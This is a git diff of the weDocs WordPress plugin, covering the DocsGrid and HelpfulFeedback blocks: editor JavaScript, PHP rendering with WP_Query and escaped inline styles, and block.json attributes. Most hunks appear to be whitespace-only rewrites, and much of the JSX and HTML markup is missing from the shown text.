    + ))} + {doc.sections.length === 0 && ( + + + + + {__('This document has no sections yet. Check back later or wait for the author to add content.', 'wedocs')} + + )} +
    + ); + }; + + // Control options + const docStyles = [ + { label: '1x1', value: '1x1' }, + { label: '1x2', value: '1x2' }, + ]; + + const docsPerPageOptions = [ + { label: 'All', value: 'all' }, + ...Array.from({ length: 10 }, (_, i) => ({ + label: String(i + 1), + value: String(i + 1) + })) + ]; + + const orderByOptions = [ + { label: __('weDocs Order', 'wedocs'), value: 'menu_order' }, + { label: __('ID', 'wedocs'), value: 'id' }, + { label: __('Name', 'wedocs'), value: 'title' }, + ]; + const orderOptions = [ + { label: __('Ascending', 'wedocs'), value: 'asc' }, + { label: __('Descending', 'wedocs'), value: 'desc' }, + ]; + + const countOptions = [ + { label: 'All', value: 'all' }, + ...Array.from({ length: 10 }, (_, i) => ({ + label: String(i + 1), + value: String(i + 1) + })) + ]; + // Get published docs + const { pages, sections, articles } = useSelect((select) => { + const { getEntityRecords } = select('core'); + + const docs = getEntityRecords('postType', 'docs', { + status: 'publish', + per_page: -1, + parent: 0, + orderby: orderBy, + order: order + }); + + // Get all sections (docs children) + const allSections = docs ? getEntityRecords('postType', 'docs', { + status: 'publish', + parent_in: docs.map(doc => doc.id), + per_page: -1 + }) : null; + + // Get all articles (sections children) + const allArticles = allSections ? getEntityRecords('postType', 'docs', { + status: 'publish', + parent_in: allSections.map(section => section.id), + per_page: -1 + }) : null; + + return { + pages: docs, + sections: allSections, + articles: allArticles + }; + }, [orderBy, order]); + + const processDocsData = () => { + if (!pages || !sections || !articles) return []; + + // Filter and sort docs based on settings + let processedDocs = [...pages]; + + // Apply exclude filter + if (excludeDocs && excludeDocs.length > 0) { + processedDocs = processedDocs.filter(doc => + !excludeDocs.includes(doc.id.toString()) + ); + } + + // Process each doc with its sections and articles + processedDocs = processedDocs.map(doc => { + // Get sections for this doc + let docSections = sections.filter(section => section.parent === doc.id); + + // Limit sections if specified + if (sectionsPerDoc !== 'all') { + docSections = docSections.slice(0, parseInt(sectionsPerDoc)); + } + + // Process sections with their articles + docSections = docSections.map(section => { + let sectionArticles = articles.filter(article => article.parent === section.id); + + // Limit articles if specified + if (articlesPerSection !== 'all') { + sectionArticles = sectionArticles.slice(0, parseInt(articlesPerSection)); + } + + return { + ...section, + articles: sectionArticles + }; + }); + + // Calculate total articles for the doc + const totalArticles = docSections.reduce((total, section) => + total + section.articles.length, 0 + ); + + return { + ...doc, + sections: docSections, + articleCount: totalArticles + }; + }); + + return processedDocs; + }; + // Handle pagination + const getPagedDocs = (docs) => { + if ( docsPerPage === 'all') return docs; + + const perPage = parseInt(docsPerPage); + const start = (currentPage - 1) * perPage; + const end = start + perPage; + + return docs.slice(start, end); + }; + + // Get final display docs + const getDisplayDocs = () => { + const processedDocs = processDocsData(); + return getPagedDocs(processedDocs); + }; + + // Pagination controls + const renderPagination = (totalDocs) => { + if (docsPerPage === 'all') return null; + + const totalPages = Math.ceil(totalDocs.length / parseInt(docsPerPage)); + + // Create style objects for pagination buttons + const paginationBaseStyle = { + padding: '8px 12px', + margin: '0 4px', + backgroundColor: attributes.paginationBackgroundColor || '#fff', + color: attributes.paginationTextColor || '#333', + border: `1px solid ${attributes.paginationBorderColor || '#ddd'}`, + borderRadius: attributes.borderRadius || '4px', + cursor: 'pointer', + transition: 'all 0.2s ease', + textDecoration: 'none', + display: 'inline-block', + minWidth: '32px', + textAlign: 'center', + fontFamily: 'inherit', + fontSize: '14px', + lineHeight: '1.4' + }; + + // Active button style + const activeStyle = { + ...paginationBaseStyle, + backgroundColor: attributes.paginationHoverColor || '#f5f5f5', + borderColor: attributes.paginationHoverColor || '#ccc', + color: attributes.paginationTextHoverColor || '#0073aa' + }; + + // Hover styles will be handled by CSS custom properties + const customProperties = { + '--pagination-hover-bg': attributes.paginationHoverColor || '#f5f5f5', + '--pagination-hover-color': attributes.paginationTextHoverColor || '#0073aa', + '--pagination-hover-border': attributes.paginationHoverColor || '#ccc' + }; + + return ( +
    + {/* Previous button */} + {currentPage > 1 && ( + + )} + + {/* Page numbers */} + {Array.from({ length: totalPages }, (_, i) => { + const pageNum = i + 1; + const isCurrentPage = currentPage === pageNum; + + return ( + + ); + })} + + {/* Next button */} + {currentPage < totalPages && ( + + )} + + +
    + ); + }; + + const displayDocs = getDisplayDocs(); + // Create a mapping of ID to title for suggestions + const docsMap = pages ? pages.reduce((acc, page) => { + acc[page.id] = page.title.rendered; + return acc; + }, {}) : {}; + + // Prepare docs options for FormTokenField + const docsOptions = pages ? pages.map(page => ({ + value: page.id.toString(), + label: page.title.rendered + })) : []; + + // Update handlers + const updateAttribute = (attributeName) => (value) => { + setAttributes({ [attributeName]: value }); + }; + + // Transform IDs to titles for FormTokenField display + const excludeDocsDisplay = excludeDocs ? excludeDocs.map(id => docsMap[id] || id) : []; + + // Handle token changes + const handleExcludeDocsChange = (tokens) => { + // Convert titles back to IDs + const newExcludeDocs = tokens.map(token => { + // Find the ID for this title + const found = Object.entries(docsMap).find(([id, title]) => title === token); + return found ? found[0] : token; + }); + + setAttributes({ excludeDocs: newExcludeDocs }); + }; + + const getGridClass = () => { + return `wedocs-docs-grid--${docStyle}`; + }; + + return ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + {hideDocGrid ? ( +
    + ) : ( +
    +
    + {loading ? ( + + ) : ( + displayDocs.map((doc) => renderGridItem(doc, applyStyles())) + )} +
    +
    + )} +
    +
    + ); +}; + +export default Edit; diff --git a/src/blocks/DocsGrid/render.php b/src/blocks/DocsGrid/render.php index 6aaadd02..3c4f73f4 100644 --- a/src/blocks/DocsGrid/render.php +++ b/src/blocks/DocsGrid/render.php @@ -1,319 +1,319 @@ - - :root { - --wedocs-pagination-background-color: %s; - --wedocs-pagination-text-color: %s; - --wedocs-pagination-border-color: %s; - --wedocs-pagination-hover-color: %s; - --wedocs-pagination-text-hover-color: %s; - --wedocs-border-radius: %s; - } - ', - esc_attr($background_color), - esc_attr($text_color), - esc_attr($border_color), - esc_attr($hover_color), - esc_attr($text_hover_color), - esc_attr($border_radius) - ); -} -function render_wedocs_docs_grid($attributes) { - // Extract attributes with defaults - $doc_style = $attributes['docStyle'] ?? '1x1'; - $docs_per_page = $attributes['docsPerPage'] ?? 'all'; - $exclude_docs = $attributes['excludeDocs'] ?? []; - $order = $attributes['order'] ?? 'ASC'; - $order_by = $attributes['orderBy'] ?? 'menu_order'; - $sections_per_doc = $attributes['sectionsPerDoc'] ?? 'all'; - $articles_per_section = $attributes['articlesPerSection'] ?? 'all'; - $show_doc_article = $attributes['showDocArticle'] ?? true; - $keep_articles_collapsed = $attributes['keepArticlesCollapsed'] ?? false; - $show_view_details = $attributes['showViewDetails'] ?? true; - - // Extract style attributes - $grid_padding = $attributes['gridPadding'] ?? null; - $grid_margin = $attributes['gridMargin'] ?? null; - $border_type = $attributes['borderType'] ?? 'solid'; - $border_radius = $attributes['borderRadius'] ?? '8px'; - $border_width = $attributes['borderWidth'] ?? '1px'; - $border_color = $attributes['borderColor'] ?? 'rgba(0, 0, 0, 0.1)'; - $doc_title_color = $attributes['docTitleColor'] ?? '#1e1e1e'; - $doc_children_active_color = $attributes['docChildrenActiveColor'] ?? '#0073aa'; - $button_color = $attributes['buttonColor'] ?? '#0073aa'; - $button_text = $attributes['buttonText'] ?? __('View Details', 'wedocs'); - $button_text_color = $attributes['buttonTextColor'] ?? '#ffffff'; - $button_hover_color = $attributes['buttonHoverColor'] ?? '#005177'; - $button_hover_text_color = $attributes['buttonHoverTextColor'] ?? '#ffffff'; - $button_padding = $attributes['buttonPadding'] ?? null; - $button_radius = $attributes['buttonBorderRadius'] ?? '4px'; - $button_margin = $attributes['buttonMargin'] ?? null; - - // Format padding and margin styles - $padding_style = ''; - if ($grid_padding) { - $padding_style = sprintf( - 'padding: %s %s %s %s;', - esc_attr($grid_padding['top'] ?? '1.5rem'), - esc_attr($grid_padding['right'] ?? '1.5rem'), - esc_attr($grid_padding['bottom'] ?? '1.5rem'), - esc_attr($grid_padding['left'] ?? '1.5rem') - ); - } - - $margin_style = ''; - if ($grid_margin) { - $margin_style = sprintf( - 'margin: %s %s %s %s;', - esc_attr($grid_margin['top'] ?? '0'), - esc_attr($grid_margin['right'] ?? '0'), - esc_attr($grid_margin['bottom'] ?? '0'), - esc_attr($grid_margin['left'] ?? '0') - ); - } - - // Format button padding and margin - $button_padding_style = ''; - if ($button_padding) { - $button_padding_style = sprintf( - 'padding: %s %s %s %s;', - esc_attr($button_padding['top'] ?? '8px'), - esc_attr($button_padding['right'] ?? '12px'), - esc_attr($button_padding['bottom'] ?? '8px'), - esc_attr($button_padding['left'] ?? '12px') - ); - } - - $button_margin_style = ''; - if ($button_margin) { - $button_margin_style = sprintf( - 'margin: %s %s %s %s;', - esc_attr($button_margin['top'] ?? '0'), - esc_attr($button_margin['right'] ?? '0'), - esc_attr($button_margin['bottom'] ?? '0'), - esc_attr($button_margin['left'] ?? '0') - ); - } - - // Create inline styles for grid items - $grid_item_style = sprintf( - 'border: %s %s %s; border-radius: %s; %s %s', - esc_attr($border_width), - esc_attr($border_type), - esc_attr($border_color), - esc_attr($border_radius), - $padding_style, - $margin_style - ); - - $title_style = sprintf('color: %s;', esc_attr($doc_title_color)); - $children_style = sprintf('color: %s;', esc_attr($doc_children_active_color)); - $button_style = sprintf( - 'background-color: %s; color: %s; border-radius: %s; %s %s', - esc_attr($button_color), - esc_attr($button_text_color), - esc_attr($button_radius), - $button_padding_style, - $button_margin_style - ); - - // Add dynamic styles for hover states - $hover_styles = sprintf( - '', - esc_attr($button_hover_color), - esc_attr($button_hover_text_color) - ); - - // Get current page for pagination - $current_page = (get_query_var('paged')) ? get_query_var('paged') : 1; - - // Set up the main docs query - $args = array( - 'post_type' => 'docs', - 'post_status' => 'publish', - 'post_parent' => 0, - 'orderby' => $order_by, - 'order' => $order, - 'post__not_in' => array_map('intval', $exclude_docs) - ); - - // Handle pagination - if ($docs_per_page !== 'all') { - $args['posts_per_page'] = intval($docs_per_page); - $args['paged'] = $current_page; - } else { - $args['posts_per_page'] = '-1'; - $args['paged'] = 1; - } - - // Query docs with pagination - $docs_query = new WP_Query($args); - $docs = $docs_query->posts; - $total_pages = $docs_query->max_num_pages; - $toggle_script = << -SCRIPT; - // Start output buffering - ob_start(); - - echo $toggle_script; - // Output hover styles - echo $hover_styles; - ?> -
    -
    - 'docs', - 'post_status' => 'publish', - 'post_parent' => $doc->ID, - 'orderby' => 'menu_order', - 'order' => 'ASC', - 'posts_per_page' => $sections_per_doc === 'all' ? -1 : intval($sections_per_doc) - ); - - $sections = get_posts($sections_query_args); - $total_articles = 0; - ?> - -
    -

    - - post_title); ?> - -

    - - -
    - 'docs', - 'post_status' => 'publish', - 'post_parent' => $section->ID, - 'orderby' => 'menu_order', - 'order' => 'ASC', - 'posts_per_page' => $articles_per_section === 'all' ? -1 : intval($articles_per_section) - ); - - $articles = get_posts($articles_query_args); - ?> -
    -
    -

    - - - post_title); ?> - - - - - - - -

    - - - -
    -
    - -
    - - - - - - - - - -
    - - - -
    - -
    - -
    -
    - + :root { + --wedocs-pagination-background-color: %s; + --wedocs-pagination-text-color: %s; + --wedocs-pagination-border-color: %s; + --wedocs-pagination-hover-color: %s; + --wedocs-pagination-text-hover-color: %s; + --wedocs-border-radius: %s; + } + ', + esc_attr($background_color), + esc_attr($text_color), + esc_attr($border_color), + esc_attr($hover_color), + esc_attr($text_hover_color), + esc_attr($border_radius) + ); +} +function render_wedocs_docs_grid($attributes) { + // Extract attributes with defaults + $doc_style = $attributes['docStyle'] ?? '1x1'; + $docs_per_page = $attributes['docsPerPage'] ?? 'all'; + $exclude_docs = $attributes['excludeDocs'] ?? []; + $order = $attributes['order'] ?? 'ASC'; + $order_by = $attributes['orderBy'] ?? 'menu_order'; + $sections_per_doc = $attributes['sectionsPerDoc'] ?? 'all'; + $articles_per_section = $attributes['articlesPerSection'] ?? 'all'; + $show_doc_article = $attributes['showDocArticle'] ?? true; + $keep_articles_collapsed = $attributes['keepArticlesCollapsed'] ?? false; + $show_view_details = $attributes['showViewDetails'] ?? true; + + // Extract style attributes + $grid_padding = $attributes['gridPadding'] ?? null; + $grid_margin = $attributes['gridMargin'] ?? null; + $border_type = $attributes['borderType'] ?? 'solid'; + $border_radius = $attributes['borderRadius'] ?? '8px'; + $border_width = $attributes['borderWidth'] ?? '1px'; + $border_color = $attributes['borderColor'] ?? 'rgba(0, 0, 0, 0.1)'; + $doc_title_color = $attributes['docTitleColor'] ?? '#1e1e1e'; + $doc_children_active_color = $attributes['docChildrenActiveColor'] ?? '#0073aa'; + $button_color = $attributes['buttonColor'] ?? '#0073aa'; + $button_text = $attributes['buttonText'] ?? __('View Details', 'wedocs'); + $button_text_color = $attributes['buttonTextColor'] ?? '#ffffff'; + $button_hover_color = $attributes['buttonHoverColor'] ?? '#005177'; + $button_hover_text_color = $attributes['buttonHoverTextColor'] ?? '#ffffff'; + $button_padding = $attributes['buttonPadding'] ?? null; + $button_radius = $attributes['buttonBorderRadius'] ?? '4px'; + $button_margin = $attributes['buttonMargin'] ?? null; + + // Format padding and margin styles + $padding_style = ''; + if ($grid_padding) { + $padding_style = sprintf( + 'padding: %s %s %s %s;', + esc_attr($grid_padding['top'] ?? '1.5rem'), + esc_attr($grid_padding['right'] ?? '1.5rem'), + esc_attr($grid_padding['bottom'] ?? '1.5rem'), + esc_attr($grid_padding['left'] ?? '1.5rem') + ); + } + + $margin_style = ''; + if ($grid_margin) { + $margin_style = sprintf( + 'margin: %s %s %s %s;', + esc_attr($grid_margin['top'] ?? '0'), + esc_attr($grid_margin['right'] ?? '0'), + esc_attr($grid_margin['bottom'] ?? '0'), + esc_attr($grid_margin['left'] ?? '0') + ); + } + + // Format button padding and margin + $button_padding_style = ''; + if ($button_padding) { + $button_padding_style = sprintf( + 'padding: %s %s %s %s;', + esc_attr($button_padding['top'] ?? '8px'), + esc_attr($button_padding['right'] ?? '12px'), + esc_attr($button_padding['bottom'] ?? '8px'), + esc_attr($button_padding['left'] ?? '12px') + ); + } + + $button_margin_style = ''; + if ($button_margin) { + $button_margin_style = sprintf( + 'margin: %s %s %s %s;', + esc_attr($button_margin['top'] ?? '0'), + esc_attr($button_margin['right'] ?? '0'), + esc_attr($button_margin['bottom'] ?? '0'), + esc_attr($button_margin['left'] ?? '0') + ); + } + + // Create inline styles for grid items + $grid_item_style = sprintf( + 'border: %s %s %s; border-radius: %s; %s %s', + esc_attr($border_width), + esc_attr($border_type), + esc_attr($border_color), + esc_attr($border_radius), + $padding_style, + $margin_style + ); + + $title_style = sprintf('color: %s;', esc_attr($doc_title_color)); + $children_style = sprintf('color: %s;', esc_attr($doc_children_active_color)); + $button_style = sprintf( + 'background-color: %s; color: %s; border-radius: %s; %s %s', + esc_attr($button_color), + esc_attr($button_text_color), + esc_attr($button_radius), + $button_padding_style, + $button_margin_style + ); + + // Add dynamic styles for hover states + $hover_styles = sprintf( + '', + esc_attr($button_hover_color), + esc_attr($button_hover_text_color) + ); + + // Get current page for pagination + $current_page = (get_query_var('paged')) ? get_query_var('paged') : 1; + + // Set up the main docs query + $args = array( + 'post_type' => 'docs', + 'post_status' => 'publish', + 'post_parent' => 0, + 'orderby' => $order_by, + 'order' => $order, + 'post__not_in' => array_map('intval', $exclude_docs) + ); + + // Handle pagination + if ($docs_per_page !== 'all') { + $args['posts_per_page'] = intval($docs_per_page); + $args['paged'] = $current_page; + } else { + $args['posts_per_page'] = '-1'; + $args['paged'] = 1; + } + + // Query docs with pagination + $docs_query = new WP_Query($args); + $docs = $docs_query->posts; + $total_pages = $docs_query->max_num_pages; + $toggle_script = << +SCRIPT; + // Start output buffering + ob_start(); + + echo $toggle_script; + // Output hover styles + echo $hover_styles; + ?> +
    +
    + 'docs', + 'post_status' => 'publish', + 'post_parent' => $doc->ID, + 'orderby' => 'menu_order', + 'order' => 'ASC', + 'posts_per_page' => $sections_per_doc === 'all' ? -1 : intval($sections_per_doc) + ); + + $sections = get_posts($sections_query_args); + $total_articles = 0; + ?> + +
    +

    + + post_title); ?> + +

    + + +
    + 'docs', + 'post_status' => 'publish', + 'post_parent' => $section->ID, + 'orderby' => 'menu_order', + 'order' => 'ASC', + 'posts_per_page' => $articles_per_section === 'all' ? -1 : intval($articles_per_section) + ); + + $articles = get_posts($articles_query_args); + ?> +
    +
    +

    + + + post_title); ?> + + + + + + + +

    + + + +
    +
    + +
    + + + + + + + + + +
    + + + +
    + +
    + +
    +
    + { - const { - hideDocGrid, - docStyle, - docsPerPage, - excludeDocs, - orderBy, - sectionsPerDoc, - articlesPerSection, - enablePagination, - showDocArticle, - keepArticlesCollapsed, - showViewDetails, - } = attributes; - - const blockProps = useBlockProps.save({ - className: `wedocs-block${hideDocGrid ? ' is-hidden' : ''}` - }); - - // Return a minimal structure - actual rendering will be handled by PHP - return ( -
    -
    - Ratul {docStyle} -
    - ); -}; - -export default Save; +import { useBlockProps } from '@wordpress/block-editor'; + +const Save = ({ attributes }) => { + const { + hideDocGrid, + docStyle, + docsPerPage, + excludeDocs, + orderBy, + sectionsPerDoc, + articlesPerSection, + enablePagination, + showDocArticle, + keepArticlesCollapsed, + showViewDetails, + } = attributes; + + const blockProps = useBlockProps.save({ + className: `wedocs-block${hideDocGrid ? ' is-hidden' : ''}` + }); + + // Return a minimal structure - actual rendering will be handled by PHP + return ( +
    +
    + Ratul {docStyle} +
    + ); +}; + +export default Save; diff --git a/src/blocks/HelpfulFeedback/block.json b/src/blocks/HelpfulFeedback/block.json index e1c2e39d..99f657f9 100644 --- a/src/blocks/HelpfulFeedback/block.json +++ b/src/blocks/HelpfulFeedback/block.json @@ -1,234 +1,234 @@ -{ - "$schema": "https://schemas.wp.org/trunk/block.json", - "apiVersion": 3, - "name": "wedocs/helpful-feedback", - "version": "1.0.0", - "title": "weDocs - Helpful Feedback", - "icon": "thumbs-up", - "category": "widgets", - "description": "Add a feedback voting system for articles with Yes/No buttons", - "supports": { - "html": false, - "anchor": true - }, - "editorScript": "file:./index.js", - "editorStyle": "file:./index.css", - "style": "file:./style-index.css", - "render": "file:./render.php", - "attributes": { - "questionText": { - "type": "string", - "default": "Was this article helpful to you?" - }, - "layout": { - "type": "string", - "default": "layout1" - }, - "alignment": { - "type": "string", - "default": "center" - }, - "showVoteCount": { - "type": "boolean", - "default": true - }, - "allowAnonymous": { - "type": "boolean", - "default": true - }, - "yesButtonText": { - "type": "string", - "default": "Yes" - }, - "noButtonText": { - "type": "string", - "default": "No" - }, - "thankYouMessage": { - "type": "string", - "default": "Thank you for your feedback!" - }, - "containerBgColor": { - "type": "string", - "default": "#ffffff" - }, - "containerBgHoverColor": { - "type": "string", - "default": "#f9f9f9" - }, - "containerPadding": { - "type": "object", - "default": { - "top": "20px", - "right": "20px", - "bottom": "20px", - "left": "20px" - } - }, - "containerMargin": { - "type": "object", - "default": { - "top": "20px", - "right": "0px", - "bottom": "20px", - "left": "0px" - } - }, - "containerBorderStyle": { - "type": "string", - "default": "solid" - }, - "containerBorderColor": { - "type": "string", - "default": "#e0e0e0" - }, - "containerBorderWidth": { - "type": "object", - "default": { - "top": "1px", - "right": "1px", - "bottom": "1px", - "left": "1px" - } - }, - "containerBorderRadius": { - "type": "object", - "default": { - "top": "8px", - "right": "8px", - "bottom": "8px", - "left": "8px" - } - }, - "containerBoxShadow": { - "type": "string", - "default": "0 2px 4px rgba(0,0,0,0.1)" - }, - "titleColor": { - "type": "string", - "default": "#333333" - }, - "titleFontSize": { - "type": "string", - "default": "16px" - }, - "titleFontWeight": { - "type": "string", - "default": "600" - }, - "titleLineHeight": { - "type": "string", - "default": "1.4" - }, - "titleLetterSpacing": { - "type": "string", - "default": "0px" - }, - "titlePadding": { - "type": "object", - "default": { - "top": "0px", - "right": "0px", - "bottom": "16px", - "left": "0px" - } - }, - "titleMargin": { - "type": "object", - "default": { - "top": "0px", - "right": "0px", - "bottom": "0px", - "left": "0px" - } - }, - "yesButtonColor": { - "type": "string", - "default": "#4CAF50" - }, - "yesButtonHoverColor": { - "type": "string", - "default": "#45a049" - }, - "yesButtonActiveColor": { - "type": "string", - "default": "#2e7d32" - }, - "noButtonColor": { - "type": "string", - "default": "#9e9e9e" - }, - "noButtonHoverColor": { - "type": "string", - "default": "#757575" - }, - "noButtonActiveColor": { - "type": "string", - "default": "#616161" - }, - "buttonTextColor": { - "type": "string", - "default": "#ffffff" - }, - "buttonTextHoverColor": { - "type": "string", - "default": "#ffffff" - }, - "iconWidth": { - "type": "string", - "default": "20px" - }, - "iconHeight": { - "type": "string", - "default": "20px" - }, - "iconColor": { - "type": "string", - "default": "#ffffff" - }, - "iconHoverColor": { - "type": "string", - "default": "#ffffff" - }, - "innerIconColor": { - "type": "string", - "default": "#ffffff" - }, - "innerIconHoverColor": { - "type": "string", - "default": "#ffffff" - }, - "buttonBorderStyle": { - "type": "string", - "default": "solid" - }, - "buttonBorderColor": { - "type": "string", - "default": "transparent" - }, - "buttonBorderHoverColor": { - "type": "string", - "default": "transparent" - }, - "buttonBorderWidth": { - "type": "string", - "default": "1px" - }, - "buttonBorderRadius": { - "type": "string", - "default": "6px" - }, - "buttonBoxShadow": { - "type": "string", - "default": "0 2px 4px rgba(0,0,0,0.1)" - }, - "additionalCssClass": { - "type": "string", - "default": "" - }, - "dataAttributes": { - "type": "object", - "default": {} - } - } +{ + "$schema": "https://schemas.wp.org/trunk/block.json", + "apiVersion": 3, + "name": "wedocs/helpful-feedback", + "version": "1.0.0", + "title": "weDocs - Helpful Feedback", + "icon": "thumbs-up", + "category": "widgets", + "description": "Add a feedback voting system for articles with Yes/No buttons", + "supports": { + "html": false, + "anchor": true + }, + "editorScript": "file:./index.js", + "editorStyle": "file:./index.css", + "style": "file:./style-index.css", + "render": "file:./render.php", + "attributes": { + "questionText": { + "type": "string", + "default": "Was this article helpful to you?" + }, + "layout": { + "type": "string", + "default": "layout1" + }, + "alignment": { + "type": "string", + "default": "center" + }, + "showVoteCount": { + "type": "boolean", + "default": true + }, + "allowAnonymous": { + "type": "boolean", + "default": true + }, + "yesButtonText": { + "type": "string", + "default": "Yes" + }, + "noButtonText": { + "type": "string", + "default": "No" + }, + "thankYouMessage": { + "type": "string", + "default": "Thank you for your feedback!" + }, + "containerBgColor": { + "type": "string", + "default": "#ffffff" + }, + "containerBgHoverColor": { + "type": "string", + "default": "#f9f9f9" + }, + "containerPadding": { + "type": "object", + "default": { + "top": "20px", + "right": "20px", + "bottom": "20px", + "left": "20px" + } + }, + "containerMargin": { + "type": "object", + "default": { + "top": "20px", + "right": "0px", + "bottom": "20px", + "left": "0px" + } + }, + "containerBorderStyle": { + "type": "string", + "default": "solid" + }, + "containerBorderColor": { + "type": "string", + "default": "#e0e0e0" + }, + "containerBorderWidth": { + "type": "object", + "default": { + "top": "1px", + "right": "1px", + "bottom": "1px", + "left": "1px" + } + }, + "containerBorderRadius": { + "type": "object", + "default": { + "top": "8px", + "right": "8px", + "bottom": "8px", + "left": "8px" + } + }, + "containerBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "titleColor": { + "type": "string", + "default": "#333333" + }, + "titleFontSize": { + "type": "string", + "default": "16px" + }, + "titleFontWeight": { + "type": "string", + "default": "600" + }, + "titleLineHeight": { + "type": "string", + "default": "1.4" + }, + "titleLetterSpacing": { + "type": "string", + "default": "0px" + }, + "titlePadding": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "16px", + "left": "0px" + } + }, + "titleMargin": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "0px", + "left": "0px" + } + }, + "yesButtonColor": { + "type": "string", + "default": "#4CAF50" + }, + "yesButtonHoverColor": { + "type": "string", + "default": "#45a049" + }, + "yesButtonActiveColor": { + "type": "string", + "default": "#2e7d32" + }, + "noButtonColor": { + "type": "string", + "default": "#9e9e9e" + }, + "noButtonHoverColor": { + "type": "string", + "default": "#757575" + }, + "noButtonActiveColor": { + "type": "string", + "default": "#616161" + }, + "buttonTextColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonTextHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "iconWidth": { + "type": "string", + "default": "20px" + }, + "iconHeight": { + "type": "string", + "default": "20px" + }, + "iconColor": { + "type": "string", + "default": "#ffffff" + }, + "iconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonBorderStyle": { + "type": "string", + "default": "solid" + }, + "buttonBorderColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderHoverColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderWidth": { + "type": "string", + "default": "1px" + }, + "buttonBorderRadius": { + "type": "string", + "default": "6px" + }, + "buttonBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "additionalCssClass": { + "type": "string", + "default": "" + }, + "dataAttributes": { + "type": "object", + "default": {} + } + } } \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/edit.js b/src/blocks/HelpfulFeedback/edit.js index 1bfdfb63..8d9fe449 100644 --- a/src/blocks/HelpfulFeedback/edit.js +++ b/src/blocks/HelpfulFeedback/edit.js @@ -1,513 +1,513 @@ -import { __ } from '@wordpress/i18n'; -import { thumbsUp, thumbsDown } from '@wordpress/icons'; -import { Fragment } from '@wordpress/element'; -import { useBlockProps, InspectorControls, RichText } from '@wordpress/block-editor'; -import { - PanelBody, - SelectControl, - ToggleControl, - TextControl, - __experimentalBoxControl as BoxControl, - ColorPalette, - RangeControl, - __experimentalBorderControl as BorderControl, - __experimentalToolsPanel as ToolsPanel, - __experimentalToolsPanelItem as ToolsPanelItem -} from '@wordpress/components'; -import RadioImageControl from '../CustomControls/RadioImageControl'; - -const Edit = ({ attributes, setAttributes }) => { - const blockProps = useBlockProps(); - - const { - questionText, - layout, - alignment, - showVoteCount, - allowAnonymous, - yesButtonText, - noButtonText, - thankYouMessage, - containerBgColor, - containerBgHoverColor, - containerPadding, - containerMargin, - containerBorderStyle, - containerBorderColor, - containerBorderWidth, - containerBorderRadius, - containerBoxShadow, - titleColor, - titleFontSize, - titleFontWeight, - titleLineHeight, - titleLetterSpacing, - titlePadding, - titleMargin, - yesButtonColor, - yesButtonHoverColor, - yesButtonActiveColor, - noButtonColor, - noButtonHoverColor, - noButtonActiveColor, - buttonTextColor, - buttonTextHoverColor, - iconWidth, - iconHeight, - iconColor, - iconHoverColor, - innerIconColor, - innerIconHoverColor, - buttonBorderStyle, - buttonBorderColor, - buttonBorderHoverColor, - buttonBorderWidth, - buttonBorderRadius, - buttonBoxShadow, - additionalCssClass, - dataAttributes - } = attributes; - - const layoutOptions = [ - { - label: __('Layout 1', 'wedocs'), - value: 'layout1', - svg: Question - }, - { - label: __('Layout 2', 'wedocs'), - value: 'layout2', - svg: Question - } - ]; - - const alignmentOptions = [ - { label: __('Left', 'wedocs'), value: 'left' }, - { label: __('Center', 'wedocs'), value: 'center' }, - { label: __('Right', 'wedocs'), value: 'right' } - ]; - - const borderStyles = [ - { label: __('None', 'wedocs'), value: 'none' }, - { label: __('Solid', 'wedocs'), value: 'solid' }, - { label: __('Dashed', 'wedocs'), value: 'dashed' }, - { label: __('Dotted', 'wedocs'), value: 'dotted' } - ]; - - const fontWeightOptions = [ - { label: __('Normal', 'wedocs'), value: '400' }, - { label: __('Medium', 'wedocs'), value: '500' }, - { label: __('Semi Bold', 'wedocs'), value: '600' }, - { label: __('Bold', 'wedocs'), value: '700' } - ]; - - const containerStyle = { - backgroundColor: containerBgColor, - padding: `${containerPadding.top} ${containerPadding.right} ${containerPadding.bottom} ${containerPadding.left}`, - margin: `${containerMargin.top} ${containerMargin.right} ${containerMargin.bottom} ${containerMargin.left}`, - border: containerBorderStyle !== 'none' ? `${containerBorderWidth.top} ${containerBorderStyle} ${containerBorderColor}` : 'none', - borderRadius: `${containerBorderRadius.top} ${containerBorderRadius.right} ${containerBorderRadius.bottom} ${containerBorderRadius.left}`, - boxShadow: containerBoxShadow, - textAlign: alignment, - transition: 'all 0.3s ease' - }; - - const titleStyle = { - color: titleColor, - fontSize: titleFontSize, - fontWeight: titleFontWeight, - lineHeight: titleLineHeight, - letterSpacing: titleLetterSpacing, - padding: `${titlePadding.top} ${titlePadding.right} ${titlePadding.bottom} ${titlePadding.left}`, - margin: `${titleMargin.top} ${titleMargin.right} ${titleMargin.bottom} ${titleMargin.left}` - }; - - const buttonBaseStyle = { - border: buttonBorderStyle !== 'none' ? `${buttonBorderWidth} ${buttonBorderStyle} ${buttonBorderColor}` : 'none', - borderRadius: buttonBorderRadius, - boxShadow: buttonBoxShadow, - color: buttonTextColor, - padding: '12px 24px', - margin: '0 8px', - cursor: 'pointer', - display: 'inline-flex', - alignItems: 'center', - gap: '8px', - transition: 'all 0.3s ease' - }; - - const yesButtonStyle = { - ...buttonBaseStyle, - backgroundColor: yesButtonColor - }; - - const noButtonStyle = { - ...buttonBaseStyle, - backgroundColor: noButtonColor - }; - - const iconStyle = { - width: iconWidth, - height: iconHeight, - color: iconColor - }; - - return ( - - - - setAttributes({ questionText: value })} - help={__('The question to ask users about the article', 'wedocs')} - /> - - setAttributes({ yesButtonText: value })} - /> - - setAttributes({ noButtonText: value })} - /> - - setAttributes({ thankYouMessage: value })} - help={__('Message shown after voting', 'wedocs')} - /> - - setAttributes({ showVoteCount: value })} - /> - - setAttributes({ allowAnonymous: value })} - help={__('Allow guests to vote without logging in', 'wedocs')} - /> - - - - - setAttributes({ layout: value })} - /> - - setAttributes({ alignment: value })} - /> - - - - - containerBgColor !== '#ffffff'} - 